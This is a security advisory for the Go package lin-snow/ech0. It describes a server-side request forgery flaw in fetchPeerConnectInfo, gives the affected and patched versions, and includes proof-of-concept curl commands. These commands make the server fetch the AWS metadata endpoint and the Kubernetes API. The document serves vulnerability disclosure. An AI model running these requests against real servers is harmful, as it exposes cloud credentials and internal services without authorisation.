| Package | Affected versions | Patched versions |
|---|---|---|
| github.com/lin-snow/ech0 | < 1.4.8-0.20260503040602-091d26d2d942 | 1.4.8-0.20260503040602-091d26d2d942 |
The fetchPeerConnectInfo function in internal/service/connect/connect.go:214-239 uses httpUtil.SendRequest (no SSRF protection) instead of SendSafeRequest (which has ValidatePublicHTTPURL with private IP blocking). This allows authenticated users to make the server request arbitrary URLs including internal/cloud metadata endpoints.
In internal/service/connect/connect.go, the fetchPeerConnectInfo function:
func fetchPeerConnectInfo(peerConnectURL string, requestTimeout time.Duration) (model.Connect, error) {
url := httpUtil.TrimURL(peerConnectURL) + "/api/connect"
resp, err := httpUtil.SendRequest(url, "GET", struct {...}{...}, requestTimeout)
This uses SendRequest which has NO URL validation. The codebase HAS SendSafeRequest at internal/util/http/http.go:228-281 with proper SSRF protection, but fetchPeerConnectInfo does not use it.
Called from:
data, err := fetchPeerConnectInfo(conn.ConnectURL, requestTimeout)data, err := fetchPeerConnectInfo(conn.ConnectURL, healthProbeTimeout)# 1. Add a connection pointing to AWS metadata service
curl -X POST "https://ech0.example.com/api/connects" \
-H "Authorization: Bearer <token>" \
-d '{"connect_url": "http://169.254.169.254/latest/meta-data/instance-id"}'
# 2. Trigger SSRF via health check
curl -H "Authorization: Bearer <token>" \
"https://ech0.example.com/api/connects/health"
# Returns AWS EC2 instance ID
Or for Kubernetes:
curl -X POST "https://ech0.example.com/api/connects" \
-H "Authorization: Bearer <token>" \
-d '{"connect_url": "http://kubernetes.default.svc.cluster.local:443/api"}'
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